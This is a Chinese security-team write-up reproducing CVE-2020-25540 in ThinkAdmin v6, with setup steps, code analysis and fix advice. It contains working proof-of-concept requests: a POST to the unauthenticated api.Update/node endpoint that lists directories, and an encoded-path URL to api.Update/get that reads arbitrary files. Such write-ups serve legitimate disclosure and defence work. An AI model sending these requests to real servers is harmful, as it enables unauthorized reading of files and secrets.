Skip to content

Latest commit

 

History

History
328 lines (124 loc) · 8.59 KB

CVE-2020-25540:ThinkAdmin两个漏洞复现.md

File metadata and controls

328 lines (124 loc) · 8.59 KB

> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s?\_\_biz=MzA4NzUwMzc3NQ==&mid=2247486181&idx=1&sn=6158ff05d9361fc34f234b6caca645b6&chksm=90392c15a74ea5032d35fd62e21c416ef32af4743c89f933fe6191af494568a96cd705dcb681&mpshare=1&scene=1&srcid=1018gfvG0lkjjB9BZjFhDrWo&sharer\_sharetime=1602994086640&sharer\_shareid=c051b65ce1b8b68c6869c6345bc45da1&key=10b5f81a68366223bc6ecc981d0f20c59445cb85eedb7010a725d139922c057155b2a7cd52b1e59b48cae057f53aee9342b780c16cb96796ac1dfc1581462d59ae48f25958ceeb774451feb7f1d8c2e41b6c573f9ed29e638f80289e87335f0a8d8f5950ef099b103eba6dd86324f1330cc7555525e3e37edb142c9f1c9cc11a&ascene=1&uin=ODk4MDE0MDEy&devicetype=Windows+10+x64&version=6300002f&lang=zh\_CN&exportkey=AY%2F%2FqvYSQCXpIaFIC9aG1yk%3D&pass\_ticket=fNc1mNErgeHhn4jm0DcjBlD5hkXepEyD08VA%2B16wYw5QmvtETgayFa%2BrZuz3ot9i&wx\_header=0)

上方蓝色字体关注我们,一起学安全!

作者:口算md5**@Timeline Sec
**

本文字数:1611

阅读时长:5~6min

声明:请勿用作违法用途,否则后果自负

0x01 简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。

0x02 漏洞概述

漏洞编号CVE-2020-25540


ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。


0x03 影响版本

ThinkAdmin版本小于 ≤ 2020.08.03.01

0x04 环境搭建

环境:phpStudy+ThinkAdmin_v6

使用Composer命令进行安装

1、设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

2、下载应用代码(别人fork的老版本)

https://github.com/179776823/ThinkAdmin

3、安装依赖组件

进入ThinkAdmin目录,运行指令安装依赖组件

`cd ThinkAdmin``composer install`

如未成功,查看官方安装文档:

https://thinkadmin.top/install

0x05 漏洞复现

1、列目录

POC:

|

POST /admin.html?s=admin/api.Update/node HTTP/1.1

Host: 127.0.0.1

Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

rules=%5B%22.%2F%22%5D

|

2、任意文件读取

在根目录下创建文件1.txt,内容为lalalaa

使用以下加密函数对1.txt文件名进行加密

`function encode($content)``{` `list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];` `for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);` `return $chars;``}`

得到数据加密数据**1d1a383c38
**

访问下面链接即可读取到1.txt(读其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38

0x06 漏洞分析

1、列目录****分析

函数node()



public function node()``{ $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) ));``}





读一下函数是把post传过来的rules和ignore参数给getlist()函数

看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules

然后进到getlist(),循环读取改目录下的所有文件

然后就返回出来了

2、任意文件读取分析

函数get()



public function get()``{ if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) { $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]); } else { $this->error('读取文件内容失败!'); }``}





这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边

 

2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。

0x07 修复建议

1.升级到2020.08.03.01之后的版本

2.官方给的临时解决办法

zoujingli/ThinkAdmin#244

0x08 总结

1、整体而言很简洁的漏洞,主要问题在于admin的api没有身份验证,敏感功能函数未加严格过滤。

2、在升级,安装这种功能里使用的函数都比较敏感,未加正确的过滤和验证就容易造成漏洞。

3、在fork里翻老版本的时候搞得有点蛋疼,索性搓了个爬虫。可以根据fork的时间快速找到目标版本。

代码如下:

`import random``import requests``import time``from lxml.html import etree``from selenium import webdriver``uri = 'https://github.com/zoujingli/ThinkAdmin/network/members'``def get_time(uri):` `browser = webdriver.Chrome()` `# print(uri)` `browser.get(uri)` `browser.get(uri)` `time.sleep(1)` `time1 = browser.find_element_by_xpath("//relative-time").get_attribute('datetime')` `browser.close()` `return time1``if __name__ == '__main__':` `uri_time = []` `response = requests.get(uri).text` `obj = etree.HTML(response)` `urls = obj.xpath('//*[@id="network"]/div/a[3]/@href')` `for i in urls:` `tmp = ['https://github.com'+i]` `tmp_time = get_time('https://github.com'+i)` `tmp.append(tmp_time)` `print(tmp)` `uri_time.append(tmp)` `print(uri_time)`
**参考链接:**

zoujingli/ThinkAdmin#244

Timeline Sec 发起了一个读者讨论 1、复现本文时的相关问题   2、下篇你期待的复现文章 精选讨论内容 参与讨论

Kira.Kong 4

太棒了!干货满满!

作者 1

感谢美女支持!

Menge 3

大佬tql 下次想看cve-2020-15227

Crystal 2

666

**阅读原文看更多复现文章
**

Timeline Sec 团队

安全路上,与你并肩前行